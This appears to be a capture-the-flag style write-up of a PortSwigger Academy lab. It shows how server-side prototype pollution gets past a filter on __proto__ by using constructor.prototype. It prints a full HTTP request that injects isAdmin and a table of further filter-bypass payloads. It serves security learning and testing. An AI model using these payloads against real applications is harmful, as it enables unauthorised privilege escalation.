PortSwigger — 2026.01.14

Bypassing Flawed Input Filters for Server-Side Prototype Pollution

PortSwigger Server-Side Prototype Pollution (filter bypass) medium

Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution with Filter Bypass Objective: Gain admin privileges via prototype pollution


Summary

Bypass __proto__ filtering by using the alternative constructor.prototype path to achieve the same prototype pollution.


The Filter

The application silently strips or ignores __proto__ keys in JSON input. No error is returned - the pollution just doesn’t work.

Testing:

{"__proto__":{"isAdmin":true}}
  • No error returned
  • But isAdmin not polluted (admin access denied)

The Bypass

Why constructor.prototype Works

Both paths lead to the same place:

obj.__proto__  ──────────────────→  Object.prototype
obj.constructor.prototype  ───────→  Object.prototype
         ↓
      (Object)
  • obj.__proto__ - Direct reference to prototype
  • obj.constructor - Reference to Object constructor
  • obj.constructor.prototype - The constructor’s prototype (same as __proto__)

Payload

POST /my-account/change-address HTTP/2
Host: [lab-id].web-security-academy.net
Content-Type: application/json;charset=UTF-8

{
  "address_line_1":"Wiener HQ",
  "address_line_2":"One Wiener Way",
  "city":"Wienerville",
  "postcode":"BU1 1RP",
  "country":"UK",
  "sessionId":"[session]",
  "constructor":{
    "prototype":{
      "isAdmin":true
    }
  }
}

Other Bypass Techniques Tested

Double-encoding / Nested __proto__

{"__pro__proto__to__":{"isAdmin":true}}

Result: Added literal key __pro__proto__to__ to response - filter doesn’t do recursive stripping.

When this bypass works:

Some filters naively remove __proto__ once:

  • Input: __pro__proto__to__
  • Filter removes __proto__: __proto__
  • Pollution works!

This filter blocks the key entirely rather than string-replacing.


Bypass Techniques Reference

Technique Payload When It Works
constructor.prototype {"constructor":{"prototype":{...}}} Filter only blocks __proto__ key
Nested __proto__ {"__pro__proto__to__":{...}} Filter does naive string replacement
Unicode encoding {"\u005f\u005fproto\u005f\u005f":{...}} Filter checks literal string only
Case variation {"__PROTO__":{...}} Filter is case-sensitive
JSON key injection {"a].__proto__[b":{...}} Vulnerable JSON parsing

Key Learnings

  1. Always test both paths: __proto__ and constructor.prototype
  2. Silent failures: No error doesn’t mean it worked - verify the effect
  3. Understand the equivalence: Both paths reach Object.prototype
  4. Test bypass techniques: Filters may be incomplete or naive

References

#prototype-pollution #server-side #filter-bypass #constructor-prototype #express #portswigger #webapp